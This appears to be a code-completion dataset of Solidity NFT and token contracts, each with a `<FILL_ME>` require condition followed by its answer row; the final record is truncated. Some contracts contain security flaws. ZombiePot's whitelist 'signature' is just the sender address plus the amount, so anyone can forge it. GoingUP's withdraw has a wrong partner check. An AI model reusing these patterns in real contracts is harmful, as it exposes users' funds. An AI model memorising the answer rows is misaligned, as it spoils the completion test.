//public mint config
SaleConfig public publicSaleConfig;
mapping(address => uint256) public publicSaleMinted;
modifier callerIsUser() {
}
constructor(
string memory _name,
string memory _symbol,
uint256 _maxSupply,
IERC20 _chargeToken,
string memory _baseTokenURI,
uint256 _maxAmountForArtist,
address payable _protocolFeeReceiver,
uint256 _protocolFeeNumerator,
address _royaltyReceiver,
uint96 _royaltyFeeNumerator
) ERC721A(_name, _symbol) {
}
function whitelistMint(uint256 _amount) external payable callerIsUser {
}
function publicMint(uint256 _amount) external payable callerIsUser {
}
function artistMint(uint256 _amount) external onlyOwner nonReentrant {
}
function userCanMintTotalAmount() public view returns (uint256) {
}
function _checkUserCanMint(SaleConfig memory _saleConfig, uint256 _amount, uint256 _mintedAmount) internal view {
}
function _charge(uint256 _amount) internal nonReentrant {
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 _interfaceId) public view virtual override(IStarBlockCollection, ERC2981, ERC721A) returns (bool) {
}
function _baseURI() internal view virtual override returns (string memory) {
}
function setBaseURI(string calldata _baseTokenURI) external onlyOwner nonReentrant {
}
function addWhitelists(address[] memory addresses) external onlyOwner nonReentrant {
}
function removeWhitelists(address[] memory addresses) external onlyOwner nonReentrant {
}
function _checkSaleConfig(SaleConfig memory _saleConfig) internal pure returns (bool) {
}
function updateWhitelistSaleConfig(SaleConfig memory _whitelistSaleConfig) external onlyOwner nonReentrant {
}
function updateWhitelistSaleEndTime(uint256 _newEndTime) external onlyOwner nonReentrant {
}
function updatePublicSaleConfig(SaleConfig memory _publicSaleConfig) external onlyOwner nonReentrant {
require(publicSaleConfig.startTime == 0 || publicSaleConfig.startTime > block.timestamp, "StarBlockCollection: can only change the unstarted sale config!");
require(_publicSaleConfig.startTime == 0 || _publicSaleConfig.startTime > block.timestamp, "StarBlockCollection: the new config should not be started!");
require(_publicSaleConfig.startTime < (block.timestamp + 180 days), "StarBlockCollection: start time should be within 180 days!");
require(_publicSaleConfig.endTime < (block.timestamp + 900 days), "StarBlockCollection: end time should be within 900 days!");
require(<FILL_ME>)
publicSaleConfig.startTime = _publicSaleConfig.startTime;
publicSaleConfig.endTime = _publicSaleConfig.endTime;
publicSaleConfig.price = _publicSaleConfig.price;
publicSaleConfig.maxAmountPerAddress = _publicSaleConfig.maxAmountPerAddress;
emit UpdatePublicSaleConfig(_publicSaleConfig);
}
function updatePublicSaleEndTime(uint256 _newEndTime) external onlyOwner nonReentrant {
}
function updateChargeToken(IERC20 _chargeToken) external onlyOwner nonReentrant {
}
function updateProtocolFeeReceiverAndNumerator(address payable _protocolFeeReceiver, uint256 _protocolFeeNumerator) external nonReentrant {
}
function withdrawMoney() external onlyOwner {
}
function _getRevenueAmount() internal view returns (uint256 _amount){
}
function _transferRevenue(address payable _user, uint256 _amount) internal nonReentrant returns (bool _success) {
}
function _transferETH(address payable _user, uint256 _amount) internal returns (bool _success) {
}
function setDefaultRoyalty(address _receiver, uint96 _feeNumerator) external onlyOwner nonReentrant {
}
function deleteDefaultRoyalty() external onlyOwner nonReentrant {
}
function exists(uint256 _tokenId) external view returns (bool) {
}
}
interface IStarBlockCollectionFactory {
event CollectionDeployed(IStarBlockCollection _collection, address _user, string _uuid);
function collections(IStarBlockCollection _collection) external view returns (address);
function collectionsAmount() external view returns (uint256);
function collectionProtocolFeeReceiver() external view returns (address payable);
function collectionProtocolFeeNumerator() external view returns (uint256);
function deployCollection(
string memory _uuid,
string memory _name,
string memory _symbol,
uint256 _maxSupply,
IERC20 _chargeToken,
string memory _baseTokenURI,
uint256 _maxAmountForArtist,
address _royaltyReceiver,
uint96 _royaltyFeeNumerator
) external returns (IStarBlockCollection _collection);
}
contract StarBlockCollectionFactory is IStarBlockCollectionFactory, Ownable, ReentrancyGuard {
uint256 public constant FEE_DENOMINATOR = 10000;
mapping(IStarBlockCollection => address) public collections;
uint256 public collectionsAmount;
address payable public collectionProtocolFeeReceiver;
uint256 public collectionProtocolFeeNumerator; //should less than FEE_DENOMINATOR
constructor(
address payable _collectionProtocolFeeReceiver,
uint256 _collectionProtocolFeeNumerator
) {
}
function deployCollection(
string memory _uuid,
string memory _name,
string memory _symbol,
uint256 _maxSupply,
IERC20 _chargeToken,
string memory _baseTokenURI,
uint256 _maxAmountForArtist,
address _royaltyReceiver,
uint96 _royaltyFeeNumerator
) external nonReentrant returns (IStarBlockCollection _collection) {
}
function updateCollectionProtocolFeeReceiverAndNumerator(address payable _collectionProtocolFeeReceiver,
uint256 _collectionProtocolFeeNumerator) external onlyOwner nonReentrant {
}
}
| _checkSaleConfig(_publicSaleConfig),"StarBlockCollection: invalid parameters!" | 71,841 | _checkSaleConfig(_publicSaleConfig) |
"not whitelisted" | pragma solidity ^0.8.14;
/// @title GoingUP Membership NFT
/// @author Mark Ibanez
/// @notice Lifetime exclusive premium membership to the GoingUP platform
contract GoingUpMembership is ERC721, ERC721Enumerable, Ownable, ReentrancyGuard
{
using Strings for string;
/// @notice Total supply limit (this is fixed and cannot be updated)
uint public constant maxSupply = 222;
/// @notice Mint price per token
uint public mintPrice = 222 * 10 ** 16; // 2.22 eth
/// @notice Set per token mint price
/// @param newPrice New price
function setMintPrice(uint256 newPrice) external onlyOwner {
}
string private _baseTokenURI;
bytes32 private _whitelistRoot = 0xfbaa96a1f7806c1ab06f957c8fc6e60875b6880254f77b71439c7854a6b47755;
constructor() ERC721("GoingUP Membership", "GUPM") {
}
function _beforeTokenTransfer(address from, address to, uint256 tokenId) internal override(ERC721, ERC721Enumerable) {
}
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC721, ERC721Enumerable) returns (bool) {
}
/// @notice Public mint for sale to whitelisted addresses only. This is the only public mint function.
/// @param proof Offchain cryptographic proof that sender is whitelisted
function mint(bytes32[] memory proof) public payable {
require(totalSupply() < maxSupply, "max supply minted");
require(balanceOf(msg.sender) == 0, "already minted");
require(<FILL_ME>)
require(msg.value >= mintPrice, "did not send enough");
_safeMint(msg.sender, totalSupply() + 1);
}
/// @notice Manual mint function only accessible to contract owner
/// @param to Destination address of minted tokens
/// @param qty Quantity to mint
function manualMint(address to, uint256 qty) public onlyOwner {
}
/// @notice Sets whitelist merkle tree root (only accessible to contract owner)
/// @param root Merkle tree root
function setWhitelistRoot(bytes32 root) external onlyOwner { }
function verifyWhitelist(bytes32[] memory proof) internal view returns (bool)
{
}
function _baseURI() internal view virtual override returns (string memory) {
}
/// @notice Sets metadata base URI (only accessible to contract owner)
/// @param baseURI The new base uri (ex. https://mynft.com/metadata/)
function setBaseURI(string calldata baseURI) external onlyOwner {
}
/// @notice Gets the metadata uri of the specified token ID
/// @param tokenId Token ID
function tokenURI(uint256 tokenId) public view virtual override returns (string memory)
{
}
/// @notice Partner 1 wallet address
address payable public partner1;
/// @notice Partner 1 commission percentage
uint public partner1Percentage;
/// @notice Partner 2 wallet address
address payable public partner2;
/// @notice Partner 2 commission percentage
uint public partner2Percentage;
/// @notice Set partner 1 address and commission percentage
/// @param partner Partner 1's wallet address
/// @param percentage Partner 1's commission percentage
function setPartner1(address payable partner, uint percentage) public onlyOwner {
}
/// @notice Set partner 2 address and commission percentage
/// @param partner Partner 2's wallet address
/// @param percentage Partner 2's commission percentage
function setPartner2(address payable partner, uint percentage) public onlyOwner {
}
/// @notice Withdraw entire contract balance to owner minus partner's commission
function withdraw() external onlyOwner nonReentrant {
}
/// @notice Withdraw all ERC20 tokens by token address to owner address
/// @param tokenAddress ERC20 token contract address
function withdrawERC20(address tokenAddress) external onlyOwner nonReentrant {
}
/// @notice Withdraw ERC721 token to owner
/// @param _tokenContract ERC721 token contract address
/// @param _tokenID ERC721 NFT Token ID
function withdrawERC721(address _tokenContract, uint256 _tokenID) external onlyOwner nonReentrant {
}
/// @notice Withdraw ERC1155 token/s to owner
/// @param _tokenContract ERC1155 token contract address
/// @param _tokenID ERC1155 Token ID
/// @param _amount Number of tokens
/// @param _data See ERC1155 implementation (usually just empty string)
function withdrawERC1155(address _tokenContract, uint256 _tokenID, uint256 _amount, bytes memory _data) external onlyOwner nonReentrant {
}
}
| verifyWhitelist(proof),"not whitelisted" | 71,954 | verifyWhitelist(proof) |
"exceeds max supply" | pragma solidity ^0.8.14;
/// @title GoingUP Membership NFT
/// @author Mark Ibanez
/// @notice Lifetime exclusive premium membership to the GoingUP platform
contract GoingUpMembership is ERC721, ERC721Enumerable, Ownable, ReentrancyGuard
{
using Strings for string;
/// @notice Total supply limit (this is fixed and cannot be updated)
uint public constant maxSupply = 222;
/// @notice Mint price per token
uint public mintPrice = 222 * 10 ** 16; // 2.22 eth
/// @notice Set per token mint price
/// @param newPrice New price
function setMintPrice(uint256 newPrice) external onlyOwner {
}
string private _baseTokenURI;
bytes32 private _whitelistRoot = 0xfbaa96a1f7806c1ab06f957c8fc6e60875b6880254f77b71439c7854a6b47755;
constructor() ERC721("GoingUP Membership", "GUPM") {
}
function _beforeTokenTransfer(address from, address to, uint256 tokenId) internal override(ERC721, ERC721Enumerable) {
}
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC721, ERC721Enumerable) returns (bool) {
}
/// @notice Public mint for sale to whitelisted addresses only. This is the only public mint function.
/// @param proof Offchain cryptographic proof that sender is whitelisted
function mint(bytes32[] memory proof) public payable {
}
/// @notice Manual mint function only accessible to contract owner
/// @param to Destination address of minted tokens
/// @param qty Quantity to mint
function manualMint(address to, uint256 qty) public onlyOwner {
require(<FILL_ME>)
for (uint i = 0; i < qty; i++) {
_safeMint(to, totalSupply() + 1);
}
}
/// @notice Sets whitelist merkle tree root (only accessible to contract owner)
/// @param root Merkle tree root
function setWhitelistRoot(bytes32 root) external onlyOwner { }
function verifyWhitelist(bytes32[] memory proof) internal view returns (bool)
{
}
function _baseURI() internal view virtual override returns (string memory) {
}
/// @notice Sets metadata base URI (only accessible to contract owner)
/// @param baseURI The new base uri (ex. https://mynft.com/metadata/)
function setBaseURI(string calldata baseURI) external onlyOwner {
}
/// @notice Gets the metadata uri of the specified token ID
/// @param tokenId Token ID
function tokenURI(uint256 tokenId) public view virtual override returns (string memory)
{
}
/// @notice Partner 1 wallet address
address payable public partner1;
/// @notice Partner 1 commission percentage
uint public partner1Percentage;
/// @notice Partner 2 wallet address
address payable public partner2;
/// @notice Partner 2 commission percentage
uint public partner2Percentage;
/// @notice Set partner 1 address and commission percentage
/// @param partner Partner 1's wallet address
/// @param percentage Partner 1's commission percentage
function setPartner1(address payable partner, uint percentage) public onlyOwner {
}
/// @notice Set partner 2 address and commission percentage
/// @param partner Partner 2's wallet address
/// @param percentage Partner 2's commission percentage
function setPartner2(address payable partner, uint percentage) public onlyOwner {
}
/// @notice Withdraw entire contract balance to owner minus partner's commission
function withdraw() external onlyOwner nonReentrant {
}
/// @notice Withdraw all ERC20 tokens by token address to owner address
/// @param tokenAddress ERC20 token contract address
function withdrawERC20(address tokenAddress) external onlyOwner nonReentrant {
}
/// @notice Withdraw ERC721 token to owner
/// @param _tokenContract ERC721 token contract address
/// @param _tokenID ERC721 NFT Token ID
function withdrawERC721(address _tokenContract, uint256 _tokenID) external onlyOwner nonReentrant {
}
/// @notice Withdraw ERC1155 token/s to owner
/// @param _tokenContract ERC1155 token contract address
/// @param _tokenID ERC1155 Token ID
/// @param _amount Number of tokens
/// @param _data See ERC1155 implementation (usually just empty string)
function withdrawERC1155(address _tokenContract, uint256 _tokenID, uint256 _amount, bytes memory _data) external onlyOwner nonReentrant {
}
}
| totalSupply()+qty<=maxSupply,"exceeds max supply" | 71,954 | totalSupply()+qty<=maxSupply |
'partners cannot have more than half' | pragma solidity ^0.8.14;
/// @title GoingUP Membership NFT
/// @author Mark Ibanez
/// @notice Lifetime exclusive premium membership to the GoingUP platform
contract GoingUpMembership is ERC721, ERC721Enumerable, Ownable, ReentrancyGuard
{
using Strings for string;
/// @notice Total supply limit (this is fixed and cannot be updated)
uint public constant maxSupply = 222;
/// @notice Mint price per token
uint public mintPrice = 222 * 10 ** 16; // 2.22 eth
/// @notice Set per token mint price
/// @param newPrice New price
function setMintPrice(uint256 newPrice) external onlyOwner {
}
string private _baseTokenURI;
bytes32 private _whitelistRoot = 0xfbaa96a1f7806c1ab06f957c8fc6e60875b6880254f77b71439c7854a6b47755;
constructor() ERC721("GoingUP Membership", "GUPM") {
}
function _beforeTokenTransfer(address from, address to, uint256 tokenId) internal override(ERC721, ERC721Enumerable) {
}
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC721, ERC721Enumerable) returns (bool) {
}
/// @notice Public mint for sale to whitelisted addresses only. This is the only public mint function.
/// @param proof Offchain cryptographic proof that sender is whitelisted
function mint(bytes32[] memory proof) public payable {
}
/// @notice Manual mint function only accessible to contract owner
/// @param to Destination address of minted tokens
/// @param qty Quantity to mint
function manualMint(address to, uint256 qty) public onlyOwner {
}
/// @notice Sets whitelist merkle tree root (only accessible to contract owner)
/// @param root Merkle tree root
function setWhitelistRoot(bytes32 root) external onlyOwner { }
function verifyWhitelist(bytes32[] memory proof) internal view returns (bool)
{
}
function _baseURI() internal view virtual override returns (string memory) {
}
/// @notice Sets metadata base URI (only accessible to contract owner)
/// @param baseURI The new base uri (ex. https://mynft.com/metadata/)
function setBaseURI(string calldata baseURI) external onlyOwner {
}
/// @notice Gets the metadata uri of the specified token ID
/// @param tokenId Token ID
function tokenURI(uint256 tokenId) public view virtual override returns (string memory)
{
}
/// @notice Partner 1 wallet address
address payable public partner1;
/// @notice Partner 1 commission percentage
uint public partner1Percentage;
/// @notice Partner 2 wallet address
address payable public partner2;
/// @notice Partner 2 commission percentage
uint public partner2Percentage;
/// @notice Set partner 1 address and commission percentage
/// @param partner Partner 1's wallet address
/// @param percentage Partner 1's commission percentage
function setPartner1(address payable partner, uint percentage) public onlyOwner {
}
/// @notice Set partner 2 address and commission percentage
/// @param partner Partner 2's wallet address
/// @param percentage Partner 2's commission percentage
function setPartner2(address payable partner, uint percentage) public onlyOwner {
}
/// @notice Withdraw entire contract balance to owner minus partner's commission
function withdraw() external onlyOwner nonReentrant {
require(<FILL_ME>)
if (partner1 != payable(0) && partner1Percentage > 0) {
uint partner1Cut = address(this).balance * partner1Percentage / 100;
partner1.transfer(partner1Cut);
}
if (partner1 != payable(0) && partner1Percentage > 0) {
uint partner2Cut = address(this).balance * partner2Percentage / 100;
partner2.transfer(partner2Cut);
}
payable(msg.sender).transfer(address(this).balance);
}
/// @notice Withdraw all ERC20 tokens by token address to owner address
/// @param tokenAddress ERC20 token contract address
function withdrawERC20(address tokenAddress) external onlyOwner nonReentrant {
}
/// @notice Withdraw ERC721 token to owner
/// @param _tokenContract ERC721 token contract address
/// @param _tokenID ERC721 NFT Token ID
function withdrawERC721(address _tokenContract, uint256 _tokenID) external onlyOwner nonReentrant {
}
/// @notice Withdraw ERC1155 token/s to owner
/// @param _tokenContract ERC1155 token contract address
/// @param _tokenID ERC1155 Token ID
/// @param _amount Number of tokens
/// @param _data See ERC1155 implementation (usually just empty string)
function withdrawERC1155(address _tokenContract, uint256 _tokenID, uint256 _amount, bytes memory _data) external onlyOwner nonReentrant {
}
}
| partner1Percentage+partner2Percentage<=50,'partners cannot have more than half' | 71,954 | partner1Percentage+partner2Percentage<=50 |
"invalid signature" | contract ZombiePot is ERC721A, Ownable {
string public uriPrefix = "ipfs:/QmNnmQwFCBWfZLLfLRKHj24HD7TQNfqgkYYm6f5cnquauF/";
uint256 public immutable cost = 0.003 ether;
uint32 public immutable maxSupply = 1500;
uint32 public immutable maxPerTx = 5;
modifier callerIsUser() {
}
modifier callerIsWhitelisted(uint256 amount, uint256 _signature) {
require(<FILL_ME>)
_;
}
constructor()
ERC721A ("ZombiePot", "ZP") {
}
function _baseURI() internal view override(ERC721A) returns (string memory) {
}
function setUri(string memory uri) public onlyOwner {
}
function _startTokenId() internal view virtual override(ERC721A) returns (uint256) {
}
function publicMint(uint256 amount) public payable callerIsUser{
}
function airDrop(uint256 amount) public onlyOwner {
}
function whiteListMint(uint256 amount, uint256 _signature) public callerIsWhitelisted(amount, _signature) {
}
function whiteListDrop(uint256 amount, uint256 _signature) public callerIsWhitelisted(amount, _signature) {
}
function withdraw() public onlyOwner {
}
}
| uint256(uint160(msg.sender))+amount==_signature,"invalid signature" | 72,016 | uint256(uint160(msg.sender))+amount==_signature |
"sold out" | contract ZombiePot is ERC721A, Ownable {
string public uriPrefix = "ipfs:/QmNnmQwFCBWfZLLfLRKHj24HD7TQNfqgkYYm6f5cnquauF/";
uint256 public immutable cost = 0.003 ether;
uint32 public immutable maxSupply = 1500;
uint32 public immutable maxPerTx = 5;
modifier callerIsUser() {
}
modifier callerIsWhitelisted(uint256 amount, uint256 _signature) {
}
constructor()
ERC721A ("ZombiePot", "ZP") {
}
function _baseURI() internal view override(ERC721A) returns (string memory) {
}
function setUri(string memory uri) public onlyOwner {
}
function _startTokenId() internal view virtual override(ERC721A) returns (uint256) {
}
function publicMint(uint256 amount) public payable callerIsUser{
require(<FILL_ME>)
require(amount <= maxPerTx, "invalid amount");
require(msg.value >= cost * amount,"insufficient");
_safeMint(msg.sender, amount);
}
function airDrop(uint256 amount) public onlyOwner {
}
function whiteListMint(uint256 amount, uint256 _signature) public callerIsWhitelisted(amount, _signature) {
}
function whiteListDrop(uint256 amount, uint256 _signature) public callerIsWhitelisted(amount, _signature) {
}
function withdraw() public onlyOwner {
}
}
| totalSupply()+amount<=maxSupply,"sold out" | 72,016 | totalSupply()+amount<=maxSupply |
": already enabled" | // SPDX-License-Identifier:MIT
/**
Telegram : https://t.me/Falcon9SpaceXErc20
**/
pragma solidity ^0.8.18;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(
address recipient,
uint256 amount
) external returns (bool);
function allowance(
address owner,
address spender
) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
// Dex Factory contract interface
interface IDexFactory {
function createPair(
address tokenA,
address tokenB
) external returns (address pair);
}
// Dex Router contract interface
interface IDexRouter {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (uint256 amountToken, uint256 amountETH, uint256 liquidity);
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
}
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
}
function _msgData() internal view virtual returns (bytes memory) {
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
}
function owner() public view returns (address) {
}
modifier onlyOwner() {
}
function renounceOwnership() public virtual onlyOwner {
}
function transferOwnership(address newOwner) public virtual onlyOwner {
}
}
contract Falcon is Context, IERC20, Ownable {
string private _name = "Falcon 9 SpaceX";
string private _symbol = "F9SX";
uint8 private _decimals = 18;
uint256 private _totalSupply = 420_690_000_000_000 * 1e18;
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) public isExcludedFromFee;
mapping(address => bool) public isExcludedFromMaxTxn;
mapping(address => bool) public isExcludedFromMaxHolding;
uint256 public minTokenToSwap = (_totalSupply * 5) / (10000); // this amount will trigger swap and distribute
uint256 public maxHoldLimit = (_totalSupply * 2) / (100); // this is the max wallet holding limit
uint256 public maxTxnLimit = (_totalSupply * 2) / (100); // this is the max transaction limit
uint256 public percentDivider = 100;
uint256 public launchedAt;
bool public distributeAndLiquifyStatus; // should be true to turn on to liquidate the pool
bool public feesStatus; // enable by default
bool public trading; // once enable can't be disable afterwards
IDexRouter public dexRouter; // router declaration
address public dexPair; // pair address declaration
address public marketingWallet; // marketing address declaration
address private constant DEAD = address(0xdead);
address private constant ZERO = address(0);
uint256 public marketingFeeOnBuying = 25;
uint256 public marketingFeeOnSelling = 30;
event SwapAndLiquify(
uint256 tokensSwapped,
uint256 ethReceived,
uint256 tokensIntoLiqudity
);
constructor() {
}
//to receive ETH from dexRouter when swapping
receive() external payable {}
function name() public view returns (string memory) {
}
function symbol() public view returns (string memory) {
}
function decimals() public view returns (uint8) {
}
function totalSupply() public view override returns (uint256) {
}
function balanceOf(address account) public view override returns (uint256) {
}
function transfer(
address recipient,
uint256 amount
) public override returns (bool) {
}
function allowance(
address owner,
address spender
) public view override returns (uint256) {
}
function approve(
address spender,
uint256 amount
) public override returns (bool) {
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
}
function increaseAllowance(
address spender,
uint256 addedValue
) public virtual returns (bool) {
}
function decreaseAllowance(
address spender,
uint256 subtractedValue
) public virtual returns (bool) {
}
function includeOrExcludeFromFee(
address account,
bool value
) external onlyOwner {
}
function includeOrExcludeFromMaxTxn(
address account,
bool value
) external onlyOwner {
}
function includeOrExcludeFromMaxHolding(
address account,
bool value
) external onlyOwner {
}
function setMinTokenToSwap(uint256 _amount) external onlyOwner {
}
function setMaxHoldLimit(uint256 _amount) external onlyOwner {
}
function setMaxTxnLimit(uint256 _amount) external onlyOwner {
}
function setBuyFeePercent(uint256 _marketingFee) external onlyOwner {
}
function setSellFeePercent(uint256 _marketingFee) external onlyOwner {
}
function setDistributionStatus(bool _value) public onlyOwner {
}
function enableOrDisableFees(bool _value) external onlyOwner {
}
function updateAddresses(address _marketingWallet) external onlyOwner {
}
function enableTrading() external onlyOwner {
require(<FILL_ME>)
trading = true;
feesStatus = true;
distributeAndLiquifyStatus = true;
launchedAt = block.timestamp;
}
function removeStuckEth(address _receiver) public onlyOwner {
}
function totalBuyFeePerTx(uint256 amount) public view returns (uint256) {
}
function totalSellFeePerTx(uint256 amount) public view returns (uint256) {
}
function _approve(address owner, address spender, uint256 amount) private {
}
function _transfer(address from, address to, uint256 amount) private {
}
//this method is responsible for taking all fees, if takeFee is true
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
}
function takeTokenFee(address sender, uint256 amount) private {
}
// to withdarw ETH from contract
function withdrawETH(uint256 _amount) external onlyOwner {
}
// to withdraw ERC20 tokens from contract
function withdrawToken(IERC20 _token, uint256 _amount) external onlyOwner {
}
function distributeAndLiquify(address from, address to) private {
}
}
// Library for swapping on Dex
library Utils {
function swapTokensForEth(
address routerAddress,
uint256 tokenAmount
) internal {
}
function addLiquidity(
address routerAddress,
address owner,
uint256 tokenAmount,
uint256 ethAmount
) internal {
}
}
| !trading,": already enabled" | 72,204 | !trading |
": max hold limit exceeds" | // SPDX-License-Identifier:MIT
/**
Telegram : https://t.me/Falcon9SpaceXErc20
**/
pragma solidity ^0.8.18;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(
address recipient,
uint256 amount
) external returns (bool);
function allowance(
address owner,
address spender
) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
// Dex Factory contract interface
interface IDexFactory {
function createPair(
address tokenA,
address tokenB
) external returns (address pair);
}
// Dex Router contract interface
interface IDexRouter {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (uint256 amountToken, uint256 amountETH, uint256 liquidity);
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
}
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
}
function _msgData() internal view virtual returns (bytes memory) {
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
}
function owner() public view returns (address) {
}
modifier onlyOwner() {
}
function renounceOwnership() public virtual onlyOwner {
}
function transferOwnership(address newOwner) public virtual onlyOwner {
}
}
contract Falcon is Context, IERC20, Ownable {
string private _name = "Falcon 9 SpaceX";
string private _symbol = "F9SX";
uint8 private _decimals = 18;
uint256 private _totalSupply = 420_690_000_000_000 * 1e18;
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) public isExcludedFromFee;
mapping(address => bool) public isExcludedFromMaxTxn;
mapping(address => bool) public isExcludedFromMaxHolding;
uint256 public minTokenToSwap = (_totalSupply * 5) / (10000); // this amount will trigger swap and distribute
uint256 public maxHoldLimit = (_totalSupply * 2) / (100); // this is the max wallet holding limit
uint256 public maxTxnLimit = (_totalSupply * 2) / (100); // this is the max transaction limit
uint256 public percentDivider = 100;
uint256 public launchedAt;
bool public distributeAndLiquifyStatus; // should be true to turn on to liquidate the pool
bool public feesStatus; // enable by default
bool public trading; // once enable can't be disable afterwards
IDexRouter public dexRouter; // router declaration
address public dexPair; // pair address declaration
address public marketingWallet; // marketing address declaration
address private constant DEAD = address(0xdead);
address private constant ZERO = address(0);
uint256 public marketingFeeOnBuying = 25;
uint256 public marketingFeeOnSelling = 30;
event SwapAndLiquify(
uint256 tokensSwapped,
uint256 ethReceived,
uint256 tokensIntoLiqudity
);
constructor() {
}
//to receive ETH from dexRouter when swapping
receive() external payable {}
function name() public view returns (string memory) {
}
function symbol() public view returns (string memory) {
}
function decimals() public view returns (uint8) {
}
function totalSupply() public view override returns (uint256) {
}
function balanceOf(address account) public view override returns (uint256) {
}
function transfer(
address recipient,
uint256 amount
) public override returns (bool) {
}
function allowance(
address owner,
address spender
) public view override returns (uint256) {
}
function approve(
address spender,
uint256 amount
) public override returns (bool) {
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
}
function increaseAllowance(
address spender,
uint256 addedValue
) public virtual returns (bool) {
}
function decreaseAllowance(
address spender,
uint256 subtractedValue
) public virtual returns (bool) {
}
function includeOrExcludeFromFee(
address account,
bool value
) external onlyOwner {
}
function includeOrExcludeFromMaxTxn(
address account,
bool value
) external onlyOwner {
}
function includeOrExcludeFromMaxHolding(
address account,
bool value
) external onlyOwner {
}
function setMinTokenToSwap(uint256 _amount) external onlyOwner {
}
function setMaxHoldLimit(uint256 _amount) external onlyOwner {
}
function setMaxTxnLimit(uint256 _amount) external onlyOwner {
}
function setBuyFeePercent(uint256 _marketingFee) external onlyOwner {
}
function setSellFeePercent(uint256 _marketingFee) external onlyOwner {
}
function setDistributionStatus(bool _value) public onlyOwner {
}
function enableOrDisableFees(bool _value) external onlyOwner {
}
function updateAddresses(address _marketingWallet) external onlyOwner {
}
function enableTrading() external onlyOwner {
}
function removeStuckEth(address _receiver) public onlyOwner {
}
function totalBuyFeePerTx(uint256 amount) public view returns (uint256) {
}
function totalSellFeePerTx(uint256 amount) public view returns (uint256) {
}
function _approve(address owner, address spender, uint256 amount) private {
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "transfer from the zero address");
require(to != address(0), "transfer to the zero address");
require(amount > 0, "Amount must be greater than zero");
if (!isExcludedFromMaxTxn[from] && !isExcludedFromMaxTxn[to]) {
require(amount <= maxTxnLimit, " max txn limit exceeds");
// trading disable till launch
if (!trading) {
require(
dexPair != from && dexPair != to,
": trading is disable"
);
}
}
if (!isExcludedFromMaxHolding[to]) {
require(<FILL_ME>)
}
// swap and liquify
distributeAndLiquify(from, to);
//indicates if fee should be deducted from transfer
bool takeFee = true;
//if any account belongs to isExcludedFromFee account then remove the fee
if (isExcludedFromFee[from] || isExcludedFromFee[to] || !feesStatus) {
takeFee = false;
}
//transfer amount, it will take tax, burn, liquidity fee
_tokenTransfer(from, to, amount, takeFee);
}
//this method is responsible for taking all fees, if takeFee is true
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
}
function takeTokenFee(address sender, uint256 amount) private {
}
// to withdarw ETH from contract
function withdrawETH(uint256 _amount) external onlyOwner {
}
// to withdraw ERC20 tokens from contract
function withdrawToken(IERC20 _token, uint256 _amount) external onlyOwner {
}
function distributeAndLiquify(address from, address to) private {
}
}
// Library for swapping on Dex
library Utils {
function swapTokensForEth(
address routerAddress,
uint256 tokenAmount
) internal {
}
function addLiquidity(
address routerAddress,
address owner,
uint256 tokenAmount,
uint256 ethAmount
) internal {
}
}
| (balanceOf(to)+amount)<=maxHoldLimit,": max hold limit exceeds" | 72,204 | (balanceOf(to)+amount)<=maxHoldLimit |
"Invalid Amount" | // SPDX-License-Identifier:MIT
/**
Telegram : https://t.me/Falcon9SpaceXErc20
**/
pragma solidity ^0.8.18;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(
address recipient,
uint256 amount
) external returns (bool);
function allowance(
address owner,
address spender
) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
// Dex Factory contract interface
interface IDexFactory {
function createPair(
address tokenA,
address tokenB
) external returns (address pair);
}
// Dex Router contract interface
interface IDexRouter {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (uint256 amountToken, uint256 amountETH, uint256 liquidity);
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
}
abstract contract Context {
